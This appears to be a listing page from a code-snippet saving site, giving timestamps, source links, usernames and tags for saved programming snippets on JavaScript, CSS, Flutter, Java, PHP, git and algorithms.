Wed Jun 10 2020 12:20:30 GMT+0000 (UTC) https://stackoverflow.com/questions/38497650/how-to-find-items-using-regex-in-mongoose/38498075

@mishka #javascript #mongoose #mongodb #mean

star

Mon Jun 08 2020 10:26:33 GMT+0000 (UTC)

@salitha.pathi #javascript

star

Sat Jun 06 2020 17:00:53 GMT+0000 (UTC) chrome-extension://annlhfjgbkfmbbejkbdpgbmpbcjnehbb/images/saveicon.png

@hamzaafridi

star

Wed May 27 2020 18:25:34 GMT+0000 (UTC) https://developers.google.com/android/guides/client-auth

@lkmandy #android

star

Fri May 15 2020 06:24:00 GMT+0000 (UTC) https://css-tricks.com/snippets/javascript/1024x768-bookmarklet/

@RedQueen #javascript

star

Tue May 12 2020 11:23:22 GMT+0000 (UTC) https://stackoverflow.com/questions/21881901/how-do-i-remove-iframe-within-itself-by-using-javascript

@mishka #javascript

star

Tue May 12 2020 11:02:17 GMT+0000 (UTC) https://stackoverflow.com/questions/48893935/how-to-remove-debug-banner-in-flutter-on-android-emulator

@bassel #dart #flutter

star

Sat May 09 2020 07:01:41 GMT+0000 (UTC) https://rizkimufrizal.github.io/membuat-restful-web-service-dengan-framework-spring-boot/

@hanatakaruki #javascript

star

Wed May 06 2020 11:46:54 GMT+0000 (UTC) https://www.30secondsofcode.org/js/s/rename-keys/

@Glowing #javascript

star

Wed Apr 29 2020 11:26:35 GMT+0000 (UTC) https://css-tricks.com/snippets/css/text-rotation/

@Bubbly #css

star

Tue Apr 21 2020 11:45:29 GMT+0000 (UTC) https://towardsdatascience.com/30-helpful-python-snippets-that-you-can-learn-in-30-seconds-or-less-69bb49204172

@TrickyMind #python #python #lists #dictionary

star

Wed Apr 01 2020 08:24:35 GMT+0000 (UTC) https://stackoverflow.com/questions/60963813/how-do-you-check-a-row-in-a-2d-char-array-for-a-specific-element-and-then-count

@Gameron #java #java #2dchar array

star

Sun Mar 29 2020 07:06:35 GMT+0000 (UTC) https://gist.github.com/trantorLiu/5924389

@billion_bill #javascript #nodejs #handlebars #express

star

Thu Feb 06 2020 12:35:11 GMT+0000 (UTC) https://stackoverflow.com/questions/42108036/how-to-disable-cash-on-delivery-on-some-specific-products-in-woocommerce

@karanikolasms #php

star

Sat Jan 18 2020 20:39:59 GMT+0000 (UTC) https://www.freecodecamp.org/news/how-to-center-things-with-style-in-css-dc87b7542689/

@_fools_dev_one_ #css #layout

star

Sun Jan 05 2020 19:37:35 GMT+0000 (UTC) https://codeburst.io/javascript-arrays-finding-the-minimum-maximum-sum-average-values-f02f1b0ce332

@bezequi #javascript #webdev #arrays #math

star

Sun Jan 05 2020 18:59:56 GMT+0000 (UTC) https://css-tricks.com/snippets/css/truncate-string-with-ellipsis/

@billion_bill #css #webdev #text

star

Sun Dec 29 2019 20:06:50 GMT+0000 (UTC) https://javarevisited.blogspot.com/2015/10/how-to-implement-binary-search-tree-in-java-example.html#axzz4wnEtnNB3

@frogblog #java #interviewquestions #search

star

Wed Dec 25 2019 18:55:34 GMT+0000 (UTC) https://help.github.com/en/github/creating-cloning-and-archiving-repositories/cloning-a-repository

@frogblog #commandline #git #github #howto

star

Wed Dec 25 2019 10:57:06 GMT+0000 (UTC) https://www.geeksforgeeks.org/largest-sum-contiguous-subarray/

@mishka #c++ #algorithms #interviewquestions #arrays

star

https://www.w3schools.com/jsref/jsref_getfullyear.asp

@mishka #javascript

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension